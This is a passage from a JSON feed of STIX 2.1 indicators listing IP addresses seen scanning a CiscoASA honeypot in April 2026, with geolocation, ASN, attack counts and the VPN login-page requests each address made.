          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-19T01:55:53.283Z",
          "last_seen": "2026-04-30T01:07:58.829Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--92ff2b4c-d1ba-48a0-9507-c5a17fba775f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.15.224.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:20:10.000Z",
      "valid_until": "2026-05-25T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-23T07:45:28.266Z",
          "last_seen": "2026-04-23T07:45:31.269Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--19909286-5bcf-4e0b-9061-1e3f4e5054a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:20:11.000Z",
      "valid_until": "2026-05-25T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-23T08:35:46.114Z",
          "last_seen": "2026-04-25T04:11:04.763Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a3916753-00ef-45ce-bdb3-228734eb50fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:20:11.000Z",
      "valid_until": "2026-05-25T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-19T02:04:13.416Z",
          "last_seen": "2026-04-23T09:03:46.495Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--5dc1b190-7706-4dde-8084-5a151dbce315",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T10:20:10.000Z",
      "valid_until": "2026-05-25T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-23T10:16:42.438Z",
          "last_seen": "2026-04-26T01:54:13.009Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fcf23f2f-2658-4185-951e-f0a96105103e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T10:20:10.000Z",
      "valid_until": "2026-05-25T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-23T09:34:35.104Z",
          "last_seen": "2026-04-25T01:18:01.429Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--c0698191-d39a-480d-8d42-35b7e893f341",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:20:10.000Z",
      "valid_until": "2026-05-25T11:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-23T10:32:59.936Z",
          "last_seen": "2026-04-29T13:07:03.743Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--138d6587-76e6-4a4d-bf92-b73d0d080164",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:20:10.000Z",
      "valid_until": "2026-05-25T11:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 5,
          "first_seen": "2026-04-23T10:46:07.904Z",
          "last_seen": "2026-04-27T16:15:25.827Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T12:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/sonicos/is-sslvpn-enabled HTTP/1.1\" 404 - geo: NL; ASN 202412 (Omegatech LTD)",
      "id": "indicator--bbbe0637-3bf0-4ab0-a7a2-a1507b9c95ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:20:13.000Z",
      "valid_until": "2026-05-25T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-23T11:28:51.818Z",
          "last_seen": "2026-04-23T14:06:53.606Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 202412,
          "as_org": "Omegatech LTD",
          "event_types": [
            "\"GET /api/sonicos/is-sslvpn-enabled HTTP/1.1\" 404 -",
            "\"GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1\" 404 -",
            "\"GET /global-protect/login.esp HTTP/1.1\" 404 -",
            "\"GET /logon/LogonPoint/tmindex.html HTTP/1.1\" 404 -",
            "\"GET /my.policy HTTP/1.1\" 404 -",
            "\"GET /vpn/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T12:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2290d769-fced-4a98-9949-0703b4a754af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:20:13.000Z",
      "valid_until": "2026-05-25T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-23T12:14:08.576Z",
          "last_seen": "2026-04-23T12:14:15.088Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T12:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2f2a1e23-284f-4251-9f1a-69c6a48fae2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:20:13.000Z",
      "valid_until": "2026-05-25T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-23T12:00:20.938Z",
          "last_seen": "2026-04-29T10:51:23.017Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--906a9d37-d4c4-4567-ac8d-e854fd04757e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T13:20:10.000Z",
      "valid_until": "2026-05-25T13:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-23T13:12:36.712Z",
          "last_seen": "2026-04-30T03:07:03.409Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T14:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d8b0619b-8156-4d1a-89d7-3a859dc3c765",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:20:12.000Z",
      "valid_until": "2026-05-25T14:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-23T13:27:59.310Z",
          "last_seen": "2026-04-24T21:12:58.027Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a28398fc-e228-483c-9213-eab7971de642",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T15:20:10.000Z",
      "valid_until": "2026-05-25T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-23T14:55:27.364Z",
          "last_seen": "2026-04-29T04:51:33.417Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3aa55624-d11f-4fd4-967a-a1df48721174",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T15:20:10.000Z",
      "valid_until": "2026-05-25T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-23T14:29:58.807Z",
          "last_seen": "2026-04-29T09:56:49.976Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--0c2698c6-3fd0-4c76-81dd-0b817ed4befc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T16:20:10.000Z",
      "valid_until": "2026-05-25T16:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-23T16:14:25.102Z",
          "last_seen": "2026-04-26T03:03:58.848Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ad84fded-5610-41fe-8e9a-29b3b370f586",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T17:20:10.000Z",
      "valid_until": "2026-05-25T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-23T17:13:52.596Z",
          "last_seen": "2026-04-25T09:04:43.433Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9c4d2842-7ba4-4dd5-ba57-975a6590750c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T17:20:10.000Z",
      "valid_until": "2026-05-25T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-23T16:46:57.718Z",
          "last_seen": "2026-04-27T15:55:40.513Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1\" 404 - geo: US; ASN 36352 (HostPapa)",
      "id": "indicator--8772070f-e5fb-46d6-8218-a61c22aea2f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.3.101.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T18:20:10.000Z",
      "valid_until": "2026-05-25T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-23T17:54:54.090Z",
          "last_seen": "2026-04-23T17:54:57.093Z",
          "country": "United States",
          "country_code": "US",
          "asn": 36352,
          "as_org": "HostPapa",
          "event_types": [
            "\"GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b78d08b7-ac44-4735-b8c2-cb707f80892b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T18:20:10.000Z",
      "valid_until": "2026-05-25T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-23T17:59:30.539Z",
          "last_seen": "2026-04-23T17:59:38.325Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T20:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: BR; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--4cafa6cf-c4c6-4b1b-8b97-8999b5251847",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.199.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:20:19.000Z",
      "valid_until": "2026-05-25T20:20:15.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
